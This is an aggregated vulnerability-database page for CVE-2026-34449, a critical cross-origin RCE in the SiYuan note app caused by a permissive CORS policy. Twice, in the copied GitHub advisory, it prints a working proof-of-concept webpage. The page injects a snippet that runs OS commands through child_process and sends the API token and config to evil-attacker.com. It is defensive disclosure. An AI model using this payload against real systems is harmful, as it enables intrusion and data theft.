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CVE-2026-34449

SiYuan: Cross-Origin RCE via Permissive CORS Policy and JavaScript Snippet Injection

9.7 CriticalFix available

SiYuan is a personal knowledge management system. Prior to version 3.6.2, a malicious website can achieve Remote Code Execution (RCE) on any desktop running SiYuan by exploiting the permissive CORS policy (Access-Control-Allow-Origin: * + Access-Control-Allow-Private-Network: true) to inject a JavaScript snippet via the API. The injected snippet executes in Electron's Node.js context with full OS access the next time the user opens SiYuan's UI. No user interaction is required beyond visiting the malicious website while SiYuan is running. This issue has been patched in version 3.6.2.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
None
User interaction
Required

What an attacker can affect

Confidentiality
High
Integrity
High
Availability
High

Exploit likelihood

0.51%Up 0.4 points since Apr 1, 2026
90%50%10%1%

What each source reports

CVE List Score used 9.7

SiYuan: Cross-Origin RCE via Permissive CORS Policy and JavaScript Snippet Injection

SiYuan is a personal knowledge management system. Prior to version 3.6.2, a malicious website can achieve Remote Code Execution (RCE) on any desktop running SiYuan by exploiting the permissive CORS policy (Access-Control-Allow-Origin: * + Access-Control-Allow-Private-Network: true) to inject a JavaScript snippet via the API. The injected snippet executes in Electron's Node.js context with full OS access the next time the user opens SiYuan's UI. No user interaction is required beyond visiting the malicious website while SiYuan is running. This issue has been patched in version 3.6.2.

Record
CVE-2026-34449
CVSS 3.1
9.7 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
Weakness
CWE-942
Updated
2026-11-02
EUVDEUVD-2026-17676 9.7

SiYuan is a personal knowledge management system. Prior to version 3.6.2, a malicious website can achieve Remote Code Execution (RCE) on any desktop running SiYuan by exploiting the permissive CORS policy (Access-Control-Allow-Origin: * + Access-Control-Allow-Private-Network: true) to inject a JavaScript snippet via the API. The injected snippet executes in Electron's Node.js context with full OS access the next time the user opens SiYuan's UI. No user interaction is required beyond visiting the malicious website while SiYuan is running. This issue has been patched in version 3.6.2.

Record
EUVD-2026-17676
CVSS 3.1
9.7 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
Updated
2026-11-02
GitHub AdvisoriesGHSA-68p4-j234-43mv 9.6

SiYuan is Vulnerable to Cross-Origin RCE via Permissive CORS Policy and JavaScript Snippet Injection

Summary

A malicious website can achieve Remote Code Execution (RCE) on any desktop running SiYuan by exploiting the permissive CORS policy (Access-Control-Allow-Origin: * + Access-Control-Allow-Private-Network: true) to inject a JavaScript snippet via the API. The injected snippet executes in Electron's Node.js context with full OS access the next time the user opens SiYuan's UI. No user interaction is required beyond visiting the malicious website while SiYuan is running.

Details

Vulnerable files:

  • kernel/server/serve.go, lines 960-963 — CORS middleware
  • kernel/api/snippet.go, lines 93-128 — snippet injection endpoint

Root cause: The CORS middleware unconditionally sets:

Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
Access-Control-Allow-Private-Network: true

The Access-Control-Allow-Private-Network: true header explicitly opts into Chrome's Private Network Access specification, telling the browser that external websites are permitted to access this localhost service. Combined with Access-Control-Allow-Origin: *, any website on the internet can make authenticated cross-origin requests to the SiYuan API at 127.0.0.1:6806.

The auth middleware at kernel/model/session.go:251-280 checks the Origin header, but this check is bypassed because the browser sends the session cookie (set on 127.0.0.1) along with the cross-origin request, and the server validates the cookie before reaching the Origin check for unauthenticated sessions.

Attack chain:

  1. User visits https://evil-attacker.com while SiYuan desktop is running
  2. Malicious JS sends CORS preflight to http://127.0.0.1:6806 — SiYuan responds with permissive CORS headers
  3. Browser sends actual POST to /api/snippet/setSnippet with the user's session cookie
  4. SiYuan accepts the request and saves a malicious JS snippet
  5. The snippet executes in Electron's renderer process with Node.js integration, achieving arbitrary code execution

PoC

Malicious webpage (hosted on any domain):

<!DOCTYPE html>
<html>
<body>
<h1>Innocent looking page</h1>
<script>
// Step 1: Inject a JS snippet that runs OS commands via Electron/Node.js
fetch('http://127.0.0.1:6806/api/snippet/setSnippet', {
  method: 'POST',
  credentials: 'include',
  headers: {'Content-Type': 'application/json'},
  body: JSON.stringify({
    snippets: [{
      id: 'exploit-' + Date.now(),
      name: 'system-update',
      type: 'js',
      content: 'require("child_process").exec("id > /tmp/siyuan-rce-proof")',
      enabled: true
    }]
  })
}).then(r => r.json()).then(d => {
  console.log('Snippet injected:', d);
});

// Step 2 (optional): Exfiltrate API token and all notes
fetch('http://127.0.0.1:6806/api/system/getConf', {
  method: 'POST',
  credentials: 'include',
  headers: {'Content-Type': 'application/json'}
}).then(r => r.json()).then(d => {
  // Send API token and config to attacker server
  fetch('https://evil-attacker.com/collect', {
    method: 'POST',
    body: JSON.stringify(d.data)
  });
});
</script>
</body>
</html>

Verification steps:

  1. Start SiYuan desktop (or Docker with SIYUAN_ACCESS_AUTH_CODE set)
  2. Login to SiYuan in a browser to establish a session cookie
  3. In the same browser, navigate to the malicious page
  4. Verify snippet was injected:
curl -X POST http://127.0.0.1:6806/api/snippet/getSnippet \
  -H "Content-Type: application/json" \
  -b <session-cookie> \
  -d '{"type":"all","enabled":2}'

Tested and confirmed on SiYuan v3.6.1 (Docker). The CORS preflight returns permissive headers, the snippet is injected from Origin: https://evil-attacker.com, and the API token is exfiltrated — all in a single page load.

Impact

  • Remote Code Execution: Any website can execute arbitrary OS commands on the user's machine via Electron's Node.js integration. The attacker gains full control with the user's privileges.
  • Data exfiltration: The attacker can read…
Record
GHSA-68p4-j234-43mv
CVSS 3.1
9.6 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
Weakness
CWE-942
Updated
2026-11-02
NVD 9.6

SiYuan is a personal knowledge management system. Prior to version 3.6.2, a malicious website can achieve Remote Code Execution (RCE) on any desktop running SiYuan by exploiting the permissive CORS policy (Access-Control-Allow-Origin: * + Access-Control-Allow-Private-Network: true) to inject a JavaScript snippet via the API. The injected snippet executes in Electron's Node.js context with full OS access the next time the user opens SiYuan's UI. No user interaction is required beyond visiting the malicious website while SiYuan is running. This issue has been patched in version 3.6.2.

Record
CVE-2026-34449
CVSS 3.1
9.6 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
Weakness
CWE-942
Updated
2026-11-02
OSV 9.6

SiYuan: Cross-Origin RCE via Permissive CORS Policy and JavaScript Snippet Injection

SiYuan is a personal knowledge management system. Prior to version 3.6.2, a malicious website can achieve Remote Code Execution (RCE) on any desktop running SiYuan by exploiting the permissive CORS policy (Access-Control-Allow-Origin: * + Access-Control-Allow-Private-Network: true) to inject a JavaScript snippet via the API. The injected snippet executes in Electron's Node.js context with full OS access the next time the user opens SiYuan's UI. No user interaction is required beyond visiting the malicious website while SiYuan is running. This issue has been patched in version 3.6.2.

Record
CVE-2026-34449
CVSS 3.1
9.6 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
Weakness
CWE-942
Updated
2026-11-02
OSVGHSA-68p4-j234-43mv 9.6

SiYuan is Vulnerable to Cross-Origin RCE via Permissive CORS Policy and JavaScript Snippet Injection

Summary

A malicious website can achieve Remote Code Execution (RCE) on any desktop running SiYuan by exploiting the permissive CORS policy (Access-Control-Allow-Origin: * + Access-Control-Allow-Private-Network: true) to inject a JavaScript snippet via the API. The injected snippet executes in Electron's Node.js context with full OS access the next time the user opens SiYuan's UI. No user interaction is required beyond visiting the malicious website while SiYuan is running.

Details

Vulnerable files:

  • kernel/server/serve.go, lines 960-963 — CORS middleware
  • kernel/api/snippet.go, lines 93-128 — snippet injection endpoint

Root cause: The CORS middleware unconditionally sets:

Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
Access-Control-Allow-Private-Network: true

The Access-Control-Allow-Private-Network: true header explicitly opts into Chrome's Private Network Access specification, telling the browser that external websites are permitted to access this localhost service. Combined with Access-Control-Allow-Origin: *, any website on the internet can make authenticated cross-origin requests to the SiYuan API at 127.0.0.1:6806.

The auth middleware at kernel/model/session.go:251-280 checks the Origin header, but this check is bypassed because the browser sends the session cookie (set on 127.0.0.1) along with the cross-origin request, and the server validates the cookie before reaching the Origin check for unauthenticated sessions.

Attack chain:

  1. User visits https://evil-attacker.com while SiYuan desktop is running
  2. Malicious JS sends CORS preflight to http://127.0.0.1:6806 — SiYuan responds with permissive CORS headers
  3. Browser sends actual POST to /api/snippet/setSnippet with the user's session cookie
  4. SiYuan accepts the request and saves a malicious JS snippet
  5. The snippet executes in Electron's renderer process with Node.js integration, achieving arbitrary code execution

PoC

Malicious webpage (hosted on any domain):

<!DOCTYPE html>
<html>
<body>
<h1>Innocent looking page</h1>
<script>
// Step 1: Inject a JS snippet that runs OS commands via Electron/Node.js
fetch('http://127.0.0.1:6806/api/snippet/setSnippet', {
  method: 'POST',
  credentials: 'include',
  headers: {'Content-Type': 'application/json'},
  body: JSON.stringify({
    snippets: [{
      id: 'exploit-' + Date.now(),
      name: 'system-update',
      type: 'js',
      content: 'require("child_process").exec("id > /tmp/siyuan-rce-proof")',
      enabled: true
    }]
  })
}).then(r => r.json()).then(d => {
  console.log('Snippet injected:', d);
});

// Step 2 (optional): Exfiltrate API token and all notes
fetch('http://127.0.0.1:6806/api/system/getConf', {
  method: 'POST',
  credentials: 'include',
  headers: {'Content-Type': 'application/json'}
}).then(r => r.json()).then(d => {
  // Send API token and config to attacker server
  fetch('https://evil-attacker.com/collect', {
    method: 'POST',
    body: JSON.stringify(d.data)
  });
});
</script>
</body>
</html>

Verification steps:

  1. Start SiYuan desktop (or Docker with SIYUAN_ACCESS_AUTH_CODE set)
  2. Login to SiYuan in a browser to establish a session cookie
  3. In the same browser, navigate to the malicious page
  4. Verify snippet was injected:
curl -X POST http://127.0.0.1:6806/api/snippet/getSnippet \
  -H "Content-Type: application/json" \
  -b <session-cookie> \
  -d '{"type":"all","enabled":2}'

Tested and confirmed on SiYuan v3.6.1 (Docker). The CORS preflight returns permissive headers, the snippet is injected from Origin: https://evil-attacker.com, and the API token is exfiltrated — all in a single page load.

Impact

  • Remote Code Execution: Any website can execute arbitrary OS commands on the user's machine via Electron's Node.js integration. The attacker gains full control with the user's privileges.
  • Data exfiltration: The attacker can read…
Record
GHSA-68p4-j234-43mv
CVSS 3.1
9.6 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
Weakness
CWE-942
Updated
2026-11-02
OSVGO-2026-5171 No score

SiYuan is Vulnerable to Cross-Origin RCE via Permissive CORS Policy and JavaScript Snippet Injection in github.com/siyuan-note/siyuan/kernel

SiYuan is Vulnerable to Cross-Origin RCE via Permissive CORS Policy and JavaScript Snippet Injection in github.com/siyuan-note/siyuan/kernel.

NOTE: The source advisory for this report contains additional versions that could not be automatically mapped to standard Go module versions.

(If this is causing false-positive reports from vulnerability scanners, please suggest an edit to the report.)

The additional affected modules and versions are: github.com/siyuan-note/siyuan/kernel before v3.6.2.

Record
GO-2026-5171
Updated
2026-11-02
OSVopenSUSE-SU-2026:21483-1 No score

Security update for govulncheck-vulndb

This update for govulncheck-vulndb fixes the following issues:

  • Update to version 0.0.20260723T184607 2026-07-23T18:46:07Z (jsc#PED-11136).

Go CVE Numbering Authority IDs added or updated with aliases:

  • GO-2026-4730 CVE-2026-33022 GHSA-cv4x-93xx-wgfj
  • GO-2026-4761 CVE-2026-33211 GHSA-j5q5-j9gm-2w5c
  • GO-2026-5102 CVE-2026-45021 GHSA-3vcp-chfh-f6r2
  • GO-2026-5272 CVE-2026-40938 GHSA-94jr-7pqp-xhcq
  • GO-2026-5486 CVE-2026-40924 GHSA-m2cx-gpqf-qf74
  • GO-2026-5542 CVE-2026-40090 GHSA-pj97-4p9w-gx3q
  • GO-2026-5630 CVE-2026-25542 GHSA-rmx9-2pp3-xhcr
  • GO-2026-5643 CVE-2026-40923 GHSA-rx35-6rhx-7858
  • GO-2026-5675 CVE-2026-41492 GHSA-vvf7-6rmr-m29q
  • GO-2026-5711 CVE-2026-40161 GHSA-wjxp-xrpv-xpff
  • GO-2026-5746 CVE-2026-41567 GHSA-x86f-5xw2-fm2r
  • GO-2026-5749 CVE-2026-41328 GHSA-x92x-px7w-4gx4
  • GO-2026-5837 CVE-2026-44840 GHSA-q2m9-6jp9-c6mc
  • GO-2026-5929 CVE-2026-44342 GHSA-26v7-h57m-gh9m
  • GO-2026-5930 CVE-2026-33655 GHSA-6qcr-qxgr-m7fv
  • GO-2026-5933 GHSA-3g4q-2f67-2gvh
  • GO-2026-5934 GHSA-59qp-cfj3-rp64
  • GO-2026-5935 GHSA-7856-g3gv-9wq8
  • GO-2026-5936 CVE-2026-53552 GHSA-26rh-24rg-j3vv
  • GO-2026-5937 CVE-2026-53508 GHSA-2jcc-mxv7-p3f9
  • GO-2026-5938 CVE-2026-53553 GHSA-4g5x-hcwm-82jw
  • GO-2026-5939 CVE-2026-10517 GHSA-698x-9w2p-7vvp
  • GO-2026-5940 CVE-2026-53572 GHSA-6w3m-4hhp-775q
  • GO-2026-5941 CVE-2026-53487 GHSA-gvhc-wv3v-7pf8
  • GO-2026-5942 CVE-2026-46600
  • GO-2026-5944 CVE-2026-50197 GHSA-659f-rgp5-w4wf
  • GO-2026-5945 CVE-2026-6815 GHSA-rmxx-v9rj-vpvg
  • GO-2026-5946 CVE-2026-52831 GHSA-v5px-423j-pf7p
  • GO-2026-5947 CVE-2026-53649 GHSA-xqhv-chqm-fhcc
  • GO-2026-5948 CVE-2026-50554 GHSA-588f-fvcv-xhvf
  • GO-2026-5949 CVE-2026-50553 GHSA-rqrh-8wpv-x7hh
  • GO-2026-5950 CVE-2026-53602 GHSA-339v-266x-79xr
  • GO-2026-5951 CVE-2026-10219 GHSA-6jm8-4fhr-5w64
  • GO-2026-5952 CVE-2026-49834 GHSA-9vcr-p3rj-q5q6
  • GO-2026-5953 CVE-2026-9094 GHSA-c9w5-qp6m-m395
  • GO-2026-5956 CVE-2026-55252 GHSA-h5g6-xmh4-hc37
  • GO-2026-5957 CVE-2026-54158 GHSA-5xfx-xj4h-5p7r
  • GO-2026-5958 CVE-2026-54068 GHSA-gcm7-57gf-953c
  • GO-2026-5959 CVE-2026-54072 GHSA-h29v-hj44-q8cv
  • GO-2026-5961 CVE-2026-54069 GHSA-hvr9-72v2-fff3
  • GO-2026-5962 CVE-2026-54088 GHSA-m93h-4hw7-5qcm
  • GO-2026-5963 CVE-2026-54067 GHSA-mvjr-vv3c-w4qv
  • GO-2026-5964 CVE-2026-54066 GHSA-p4m3-mgmm-c664
  • GO-2026-5965 CVE-2026-54070 GHSA-w7cg-whh7-xp28
  • GO-2026-5966 CVE-2026-54089 GHSA-xqp3-jq6g-x3qm
  • GO-2026-5967 CVE-2026-50551 GHSA-56mp-4f3v-fgj2
  • GO-2026-5968 CVE-2026-54174 GHSA-fpg8-7664-jc5q
  • GO-2026-5969 GHSA-g936-7jqj-mwv8
  • GO-2026-5970 CVE-2026-56852
  • GO-2026-5973 CVE-2026-54250 GHSA-jxr7-mqhw-9p98
  • GO-2026-5974 CVE-2026-44300 GHSA-wmj8-9953-vff5
  • GO-2026-5975 CVE-2026-50018 GHSA-42j2-w334-qxw7
  • GO-2026-5976 CVE-2026-50141 GHSA-g7mm-9vx7-jm7h
  • GO-2026-5977 CVE-2026-50013 GHSA-qrh4-p6v4-mrfg
  • GO-2026-5978 CVE-2026-50125 GHSA-qw5r-ppcg-f8rj
  • GO-2026-5979 CVE-2026-50006 GHSA-xrcf-6jh3-ggvx
  • GO-2026-5980 CVE-2026-50158 GHSA-2c7f-fxww-6w6c
  • GO-2026-5981 GHSA-mqxv-9rm6-w8qc
  • GO-2026-5982 GHSA-pqg7-v6wh-3pfp
  • GO-2026-5984 CVE-2026-53604 GHSA-2p2f-px33-4vv5
  • GO-2026-5985 GHSA-7rx3-5wx3-5v76
  • GO-2026-5986 CVE-2026-61699 GHSA-cm26-5974-52h8
  • GO-2026-5987 CVE-2026-55513 GHSA-g4x6-jcvr-9m3g
  • GO-2026-5988 CVE-2026-54628 GHSA-hwrq-8wxh-q4xv
  • GO-2026-5989 CVE-2026-55512 GHSA-m3cx-mwpg-32jg
  • GO-2026-5990 CVE-2026-54629 GHSA-mf78-3rpf-r784
  • GO-2026-5991 CVE-2026-53603 GHSA-q4vm-pq3q-8wgq
  • GO-2026-5992 CVE-2026-61549 GHSA-qf34-295c-26v8
  • GO-2026-5996 CVE-2026-54450 GHSA-pph6-vfjv-vpjw
  • GO-2026-5997 CVE-2026-54452 GHSA-xgch-x3mx-cm3c
  • GO-2026-5998 CVE-2026-54495 GHSA-398h-7f66-3h4p
  • GO-2026-5999 CVE-2026-10814 GHSA-jh6h-v6mp-h22v
  • GO-2026-6002 CVE-2026-58196 GHSA-pr64-jmmf-jp54
  • GO-2026-6003 CVE-2026-53714 GHSA-22xc-xg2r-9j7v
  • GO-2026-6004 CVE-2026-52833 GHSA-3v79-m2cg-89ww
  • GO-2026-6005 CVE-2026-53715 GHSA-8fv2-88gg-hm7q
  • GO-2026-6006 CVE-2026-53716 GHSA-cxpq-8v7q-cg56 *…
Record
openSUSE-SU-2026:21483-1
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
github.com/siyuan-note/siyuan/kernel
Go
 through 3.6.1
3.6.2
github.com/siyuan-note/siyuan/kernel
Go
 before 3.6.2
3.6.2
github.com/siyuan-note/siyuan/kernel
Go
 All versions None known
govulncheck-vulndb
openSUSE:Leap 16.0
From an advisory covering 1734 CVEs
 before 0.0.20260723T184607-160000.1.1
0.0.20260723T184607-160000.1.1

History

History
RecordedChangedSources
affected, facts
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-34449 is a critical vulnerability (CVSS 9.7) in B3log Siyuan, published March 31, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.51%, the 43rd percentile. Fixed in github.com/siyuan-note/siyuan/kernel 3.6.2.

References

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